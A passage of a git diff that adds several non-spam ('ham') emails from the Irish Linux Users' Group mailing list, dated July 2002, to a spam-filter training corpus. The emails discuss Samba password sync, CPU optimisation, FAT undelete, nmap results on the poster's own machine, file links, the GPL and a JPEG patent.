have synchronisation of passwords +between the NIS domain and the NIS server's Samba with minimal manual +intervention. + +Ideas, accompanied by annotated Samba configration files :-) , gratefully +received. + + + + +Niall + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00088.ef477b7fa35219eff950c0aa3361f7b3 b/bayes/spamham/easy_ham_2/00088.ef477b7fa35219eff950c0aa3361f7b3 new file mode 100644 index 0000000..cadef83 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00088.ef477b7fa35219eff950c0aa3361f7b3 @@ -0,0 +1,82 @@ +From ilug-admin@linux.ie Mon Jul 22 18:12:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 048E4440CD + for ; Mon, 22 Jul 2002 13:12:19 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:19 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFwJY14614 for + ; Mon, 22 Jul 2002 16:58:19 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id TAA28600 for ; + Sun, 21 Jul 2002 19:17:10 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA20518; Sun, 21 Jul 2002 19:16:39 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail1.mail.iol.ie (mail1.mail.iol.ie [194.125.2.192]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id TAA20484 for ; + Sun, 21 Jul 2002 19:16:32 +0100 +Received: from [194.165.161.155] (helo=excalibur.research.wombat.ie) by + mail1.mail.iol.ie with esmtp (Exim 3.35 #1) id 17WL8u-0005ob-00; + Sun, 21 Jul 2002 19:09:16 +0100 +Received: (from kenn@localhost) by excalibur.research.wombat.ie + (8.11.6/8.11.6) id g6LIGUq12426; Sun, 21 Jul 2002 19:16:30 +0100 +Date: Sun, 21 Jul 2002 19:16:30 +0100 +From: Kenn Humborg +To: John Gay +Cc: ilug@linux.ie +Subject: Re: [ILUG] Optimising for PentiumMMX? +Message-Id: <20020721191629.A12416@excalibur.research.wombat.ie> +References: <200207211807.TAA20052@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <200207211807.TAA20052@lugh.tuatha.org>; from + johngay@eircom.net on Sun, Jul 21, 2002 at 07:06:06PM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sun, Jul 21, 2002 at 07:06:06PM +0100, John Gay wrote: +> I am wondering if the C, and other libraries should be re-built? Can they +> take advantage of the Pentium and MMX instructions for system performance? +> And would this require re-building gcc as well? + +glibc is a likely candidate. + +> On a related note, I know I've mentioned here before, but I'm still looking +> for a Slot 1 550Mhz PIII. My regular system is a Dual PII350 and the 440BX +> M/B can take PIII's. I managed to get my hands on one. If I could get another +> I could put the two PIII's into this box and re-compile X to use the +> SSE/Katmai instructions in the PIII. I just don't thing it is worth replacing +> two PII's with one PIII. I know that they are out-of-stock, and I do watch +> the Buy-N-Sell regularly, but short of buying a full PIII system, I've not +> had much luck. + +Keep an eye on eBay. One annoyance of eBay is that many sellers state "will +ship to US only". However, I've found that if you ask nicely, they will +usually ship over here. For payments, either setup a paypal account or +post the seller a US dollar bank draft. I've got lots of little bits and +pieces that way (for example, finally got my hands on a rackmount kit for +my DECserver 700 terminal server which I'd been looking for for ages, for +a total of US$15). + +Later, +Kenn + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00089.2f7098c2c5697cd207764a95e1a8833a b/bayes/spamham/easy_ham_2/00089.2f7098c2c5697cd207764a95e1a8833a new file mode 100644 index 0000000..b07e0cf --- /dev/null +++ b/bayes/spamham/easy_ham_2/00089.2f7098c2c5697cd207764a95e1a8833a @@ -0,0 +1,62 @@ +From ilug-admin@linux.ie Mon Jul 22 18:12:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E709B440D0 + for ; Mon, 22 Jul 2002 13:12:19 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:19 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFhbI08583 for + ; Mon, 22 Jul 2002 16:43:42 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id IAA30833 for ; + Mon, 22 Jul 2002 08:52:43 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id IAA14804; Mon, 22 Jul 2002 08:48:37 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id IAA14773 for ; Mon, + 22 Jul 2002 08:48:31 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id IAA16614 for ; Mon, + 22 Jul 2002 08:13:15 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g6M7m9s01589 for ilug@linux.ie; Mon, 22 Jul 2002 08:48:09 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Mon, 22 Jul 2002 08:48:08 +0100 +From: "John P. Looney" +To: Irish LUG list +Message-Id: <20020722074808.GF3234@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: Irish LUG list +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Subject: [ILUG] FAT undelete on linux ? +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + Has anyone used (successfully!) a fat undelete program on Linux ? + + Something like a simple version of the norton disk tools would be fine. +Actually, most likely the MS DOS "undelete" program would do... + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00090.aa66b421d3bf8f7ea261f043f83225bc b/bayes/spamham/easy_ham_2/00090.aa66b421d3bf8f7ea261f043f83225bc new file mode 100644 index 0000000..b881139 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00090.aa66b421d3bf8f7ea261f043f83225bc @@ -0,0 +1,57 @@ +From ilug-admin@linux.ie Mon Jul 22 18:12:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C969E440D1 + for ; Mon, 22 Jul 2002 13:12:20 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:20 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFHV902187 for + ; Mon, 22 Jul 2002 16:17:31 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id NAA31913 for ; + Mon, 22 Jul 2002 13:54:35 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA26577; Mon, 22 Jul 2002 13:50:50 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from odin.he.net (odin.he.net [216.218.181.2]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id NAA26538 for ; + Mon, 22 Jul 2002 13:50:39 +0100 +Received: from renegade (c-24-127-153-207.we.client2.attbi.com + [24.127.153.207]) by odin.he.net (8.8.6/8.8.2) with SMTP id FAA27471 for + ; Mon, 22 Jul 2002 05:50:36 -0700 +From: "Paul O'Neil" +To: +Date: Mon, 22 Jul 2002 05:50:37 -0700 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Importance: Normal +Subject: [ILUG] nmap results +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I had posted previously about the 2.4 kernel using iptables I ran nmap +against. The IPID sequence generation was all zeros. Someone said this was +indicative of earlier kernels but was fixed about 2.4.5 version. Since I'm +running the latest what is causing this? I ran nmap against a 2.2 kernel +using chains and it had better results than the stock 2.4 kernel. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00091.10634ff07b2c885db22462069292a2bb b/bayes/spamham/easy_ham_2/00091.10634ff07b2c885db22462069292a2bb new file mode 100644 index 0000000..d45f3f9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00091.10634ff07b2c885db22462069292a2bb @@ -0,0 +1,78 @@ +From ilug-admin@linux.ie Mon Jul 22 18:12:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D347F440D2 + for ; Mon, 22 Jul 2002 13:12:21 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:21 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG25Y16946 for + ; Mon, 22 Jul 2002 17:02:05 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id BAA25309 for ; + Sun, 21 Jul 2002 01:54:51 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id BAA10664; Sun, 21 Jul 2002 01:54:23 +0100 +Received: from marklar.elive.net (smtp.elive.ie [212.120.138.41]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id BAA10633; Sun, 21 Jul 2002 + 01:54:16 +0100 +Received: from gonzo.waider.ie + (IDENT:9yNv5hbo7W6wr7oysu/T1YW/bnEIzd6A@1Cust138.tnt3.dub2.ie.uudial.net + [213.116.44.138]) by marklar.elive.net (8.11.6/8.11.6) with ESMTP id + g6L0UBj02902; Sun, 21 Jul 2002 01:30:12 +0100 +Received: from klortho.waider.ie + (IDENT:BAdQQqovjq9VnkkVZd8ToMgH7Knbc4sS@klortho.waider.ie [10.0.0.100]) by + gonzo.waider.ie (8.11.6/8.11.6) with ESMTP id g6L0s0t08885; Sun, + 21 Jul 2002 01:54:01 +0100 +Received: (from waider@localhost) by klortho.waider.ie (8.11.6/8.11.6) id + g6L0rv021891; Sun, 21 Jul 2002 01:53:57 +0100 +X-Authentication-Warning: klortho.waider.ie: waider set sender to + waider@waider.ie using -f +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Message-Id: <15674.1573.36050.128467@klortho.waider.ie> +Date: Sun, 21 Jul 2002 01:53:57 +0100 +From: Ronan Waide +To: Paul Jakma +Cc: kevin lyda , + Aidan Kehoe , ILUG Mailing List +Subject: Re: [ILUG] How to copy some files +In-Reply-To: +References: <20020720213335.A27034@ie.suberic.net> + +X-Mailer: VM 7.07 under Emacs 21.2.1 +Organization: poor at best. +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On July 21, paul@clubi.ie said: +> +> reiser's handles to files are hashes i believe. fat: dont think you +> can make symlinks on it. + +You can't; hard links only. And those get cleaned up by ScanDisk as +"cross-linked files". Shortcuts are the Windows analogue of symlinks, +and they don't work outside the Windows environment - i.e. they're an +artifact of the OS rather than the FS. + +Cheers. +Waider. +-- +waider@waider.ie / Yes, it /is/ very personal of me. +"if you can't live the lie, let it die/and if you can't live a life filled + with strife/honey, just say oops/and jump through hoops/and get to the end of + the line" - FLC, "Bear Hug" (Come Find Yourself) + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00092.3a1bb2e2707717631a8f5008f7d701fc b/bayes/spamham/easy_ham_2/00092.3a1bb2e2707717631a8f5008f7d701fc new file mode 100644 index 0000000..ffa9059 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00092.3a1bb2e2707717631a8f5008f7d701fc @@ -0,0 +1,76 @@ +From ilug-admin@linux.ie Mon Jul 22 18:12:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 23AC4440D6 + for ; Mon, 22 Jul 2002 13:12:23 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:23 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG06Y15770 for + ; Mon, 22 Jul 2002 17:00:06 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id SAA28457 for ; + Sun, 21 Jul 2002 18:56:18 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA19593; Sun, 21 Jul 2002 18:55:25 +0100 +Received: from mail.magicgoeshere.com (nw152-60.indigo.ie [194.125.152.60] + (may be forged)) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id SAA19552 + for ; Sun, 21 Jul 2002 18:55:05 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host nw152-60.indigo.ie + [194.125.152.60] (may be forged) claimed to be mail.magicgoeshere.com +Received: from bagend.magicgoeshere.com (ts15-075.dublin.indigo.ie + [194.125.176.75]) by mail.magicgoeshere.com (Postfix) with ESMTP id + 7B04EF8FD for ; Sun, 21 Jul 2002 18:39:57 +0100 (IST) +Received: by bagend.magicgoeshere.com (Postfix, from userid 501) id + D5D2F3C3CF; Sun, 21 Jul 2002 18:53:41 +0100 (IST) +Date: Sun, 21 Jul 2002 18:53:41 +0100 +From: Niall O Broin +To: ilug@linux.ie +Subject: Re: [ILUG] [OT] GPL & PHP Question +Message-Id: <20020721175341.GB1739@bagend.makalumedia.com> +Reply-To: ilug@linux.ie +Mail-Followup-To: Niall O Broin , ilug@linux.ie +References: <200207192053.VAA32306@lugh.tuatha.org> + <20020719224739.GC3854@bagend.makalumedia.com> + <20020720190317.F23917@ie.suberic.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020720190317.F23917@ie.suberic.net> +User-Agent: Mutt/1.3.27i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sat, Jul 20, 2002 at 07:03:17PM +0100, kevin lyda wrote: + +> > > I know this is not strictly a 'Linux' issue but any help would be appreciated +> > Microsoft has very much made this a Linux issue - it has attempted to imply +> > that any company using GPL software must make everything it owns public and +> > it must be true - that nice man from Microsoft wouldn't lie, would he ? +> +> but that's just stupid. microsoft s/w covers a subset of applications + +You know it's stupid - I know it's stupid. Nonetheless, Microsoft has tried +to spread FUD about the viral nature of the GPL to make CEO/CIO level people +(often not the most technically clueful, even the CIOs) fear that if they so +much as use a Linux box, as, say, a print server, they'll have to make their +company's entire IP public. (I don't think Microsoft said precisely what I +jsut said, but that was the tenor of the remarks). And their marketing +budget is a tad bigger than yours or mine. + + + +Niall + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00093.ae2f7bf4ac265b89b75fc14747d84c1d b/bayes/spamham/easy_ham_2/00093.ae2f7bf4ac265b89b75fc14747d84c1d new file mode 100644 index 0000000..ed8b9ae --- /dev/null +++ b/bayes/spamham/easy_ham_2/00093.ae2f7bf4ac265b89b75fc14747d84c1d @@ -0,0 +1,75 @@ +From ilug-admin@linux.ie Mon Jul 22 18:12:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7A815440D3 + for ; Mon, 22 Jul 2002 13:12:22 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:22 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFIB902764 for + ; Mon, 22 Jul 2002 16:18:11 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id LAA31416 for ; + Mon, 22 Jul 2002 11:42:48 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA21751; Mon, 22 Jul 2002 11:41:46 +0100 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA21721 for ; + Mon, 22 Jul 2002 11:41:39 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [213.105.180.140] claimed + to be mandark.labs.netnoteinc.com +Received: from triton.labs.netnoteinc.com + (lbedford@triton.labs.netnoteinc.com [192.168.2.12]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6MAfcp08907 for + ; Mon, 22 Jul 2002 11:41:38 +0100 +Date: Mon, 22 Jul 2002 11:41:37 +0100 +From: Liam Bedford +To: Irish Linux Users Group +Subject: Re: [ILUG] hard- vs. soft-links [was: How to copy some files ] +Message-Id: <20020722114137.09048a40.lbedford@netnoteinc.com> +In-Reply-To: <200207192238.g6JMc9X05992@linux.local> +References: <002c01c22f67$4216c280$f264a8c0@sabeo.ie> + <200207192238.g6JMc9X05992@linux.local> +Organization: Netnote International +X-Mailer: Sylpheed version 0.7.8claws69 (GTK+ 1.2.10; i386-debian-linux-gnu) +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, 19 Jul 2002 23:38:09 +0100 +Brian Foster claiming to think: + +> but, like the classic techniques, there is no rolling +> back of accidental overwrites. +> +> ( rolling back overwrites reminds me of the "snapshot" +> facility on NetWork Appliance fileservers. and of the +> various "versioning" filesystems which appeared --- and +> then vanished? --- over the years.... ) +> +and it's in FreeBSD 5.0-CURRENT AFAIK... + +/me migrates every linux box to the one true way.. + +L. +-- + dBP dBBBBb | If you're looking at me to be an accountant + dBP | Then you will look but you will never see + dBP dBBBK' | If you're looking at me to start having babies + dBP dB' db | Then you can wish because I'm not here to fool around + dBBBBP dBBBBP' | Belle & Sebastian (Family Tree) + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00094.c706cb7766371708aef603f603fe7cdf b/bayes/spamham/easy_ham_2/00094.c706cb7766371708aef603f603fe7cdf new file mode 100644 index 0000000..b1f806c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00094.c706cb7766371708aef603f603fe7cdf @@ -0,0 +1,82 @@ +From ilug-admin@linux.ie Mon Jul 22 18:12:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F29B2440C8 + for ; Mon, 22 Jul 2002 13:12:23 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:24 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFIS903037 for + ; Mon, 22 Jul 2002 16:18:28 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id KAA31189 for ; + Mon, 22 Jul 2002 10:44:53 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA19571; Mon, 22 Jul 2002 10:44:21 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail1.mail.iol.ie (mail1.mail.iol.ie [194.125.2.192]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA19546 for ; + Mon, 22 Jul 2002 10:44:14 +0100 +Received: from dialup152-a.ts551.cwt.esat.net ([193.203.140.152] + helo=Hobbiton.cod.ie) by mail1.mail.iol.ie with esmtp (Exim 3.35 #1) id + 17WZce-0002cR-00 for ilug@linux.ie; Mon, 22 Jul 2002 10:36:56 +0100 +Received: (from cdaly@localhost) by Hobbiton.cod.ie (8.11.6/8.9.3) id + g6LMJuB26227 for ilug@linux.ie; Sun, 21 Jul 2002 23:19:56 +0100 +Date: Sun, 21 Jul 2002 23:19:53 +0100 +From: Conor Daly +To: ilug@linux.ie +Subject: Re: [ILUG] When is a wav not a wav? +Message-Id: <20020721231953.D22357@Hobbiton.cod.ie> +Mail-Followup-To: ilug@linux.ie +References: <200207202147.WAA03958@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <200207202147.WAA03958@lugh.tuatha.org>; from + johngay@eircom.net on Sat, Jul 20, 2002 at 08:48:30PM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sat, Jul 20, 2002 at 08:48:30PM +0100 or so it is rumoured hereabouts, +John Gay thought: +> +> xanim can, and does play them correctly though. Unfortunately xanim does not +> have any position control so you just have to listen to the album from start +> to finish. +> +> What I would like to do is split up the tracks and convert them the mp3 for +> xmms. I'm jsut not sure what tools would be able to handle these strange +> compressed wav's that only xanim seems to recognise? I like the albums, but + +No idea if it can do these ones but mxv (or MixViews) has lots of +configurables and it's whole purpose is to edit wavs. I've used it to +split up tapes into individual songs. Not sure of a URL but the author is +at + +MixViews@create.ucsb.edu + +Conor +-- +Conor Daly + +Domestic Sysadmin :-) +--------------------- +Faenor.cod.ie + 11:29pm up 59 days, 8:46, 0 users, load average: 0.05, 0.05, 0.01 +Hobbiton.cod.ie + 11:17pm up 2 days, 5:54, 2 users, load average: 0.00, 0.03, 0.00 + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00095.eec028314ab85183252ab9ced87fcb18 b/bayes/spamham/easy_ham_2/00095.eec028314ab85183252ab9ced87fcb18 new file mode 100644 index 0000000..befeff3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00095.eec028314ab85183252ab9ced87fcb18 @@ -0,0 +1,92 @@ +From ilug-admin@linux.ie Mon Jul 22 18:12:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F0114440D8 + for ; Mon, 22 Jul 2002 13:12:25 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:25 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG2AY16977 for + ; Mon, 22 Jul 2002 17:02:10 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id BAA25262 for ; + Sun, 21 Jul 2002 01:20:08 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id BAA09188; Sun, 21 Jul 2002 01:15:47 +0100 +Received: from marklar.elive.net (smtp.elive.ie [212.120.138.41]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id BAA09150 for ; + Sun, 21 Jul 2002 01:15:40 +0100 +Received: from gonzo.waider.ie + (IDENT:EAhdBkKXlYbyGHKC2RMD3nVwYjuLO5UG@1Cust138.tnt3.dub2.ie.uudial.net + [213.116.44.138]) by marklar.elive.net (8.11.6/8.11.6) with ESMTP id + g6KNpcj02522; Sun, 21 Jul 2002 00:51:40 +0100 +Received: from klortho.waider.ie + (IDENT:6UNZ2NeFx+QKk/Y8JEWd9odY8uYjJ2TF@klortho.waider.ie [10.0.0.100]) by + gonzo.waider.ie (8.11.6/8.11.6) with ESMTP id g6L0FSt08770; Sun, + 21 Jul 2002 01:15:28 +0100 +Received: (from waider@localhost) by klortho.waider.ie (8.11.6/8.11.6) id + g6L0FQt18963; Sun, 21 Jul 2002 01:15:26 +0100 +X-Authentication-Warning: klortho.waider.ie: waider set sender to + waider@waider.ie using -f +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Message-Id: <15673.64797.792173.490109@klortho.waider.ie> +Date: Sun, 21 Jul 2002 01:15:25 +0100 +From: Ronan Waide +To: kevin lyda +Cc: irish linux users group +Subject: Re: [ILUG] jpeg patented... +In-Reply-To: <20020719041127.A29748@ie.suberic.net> +References: <20020719041127.A29748@ie.suberic.net> +X-Mailer: VM 7.07 under Emacs 21.2.1 +Organization: poor at best. +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On July 19, kevin+dated+1027480289.5c6047@ie.suberic.net said: +> http://biz.yahoo.com/bw/020711/110249_1.html +> +> oh, and look, sony already caved: +> +> http://biz.yahoo.com/bw/020610/100215_2.html +> +> it generated over 1000 comments on /.. might be an idea to look into +> png's. in the meantime it will be amusing to see who they'll go after +> next? how many jpeg rendering/creating apps/os's has ms distributed to +> their customers since 1986? +> +> kevin + +Having skimmed over the patent, it appears to be describing a sort of +image compression algorithm which gels more or less with the JPEG +mechanism. Since I don't quite understand how jpeg works (it's hard +math, and I'm just a dumb comp. eng.) I don't know how exactly it +matches up to JPEG. I'm more curious as to whether it covers MPEG, +because it /is/ described in the context of video streams rather than +stills, and I had a vague impression that the MPEG and JPEG +compression techniques were similar. One of the patents it references +also seems to hint at MPEG. + +Let's all use PNG, eh? *cough* *wheeze* + +Cheers, +Waider. +-- +waider@waider.ie / Yes, it /is/ very personal of me. + +"It would be hard to design a worse outdoor chair without making it + irresistably delicious to squirrels." - L. Fitzgerald Sjoberg + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00096.b8e6dd7a82c0488cafcdc332b65f4124 b/bayes/spamham/easy_ham_2/00096.b8e6dd7a82c0488cafcdc332b65f4124 new file 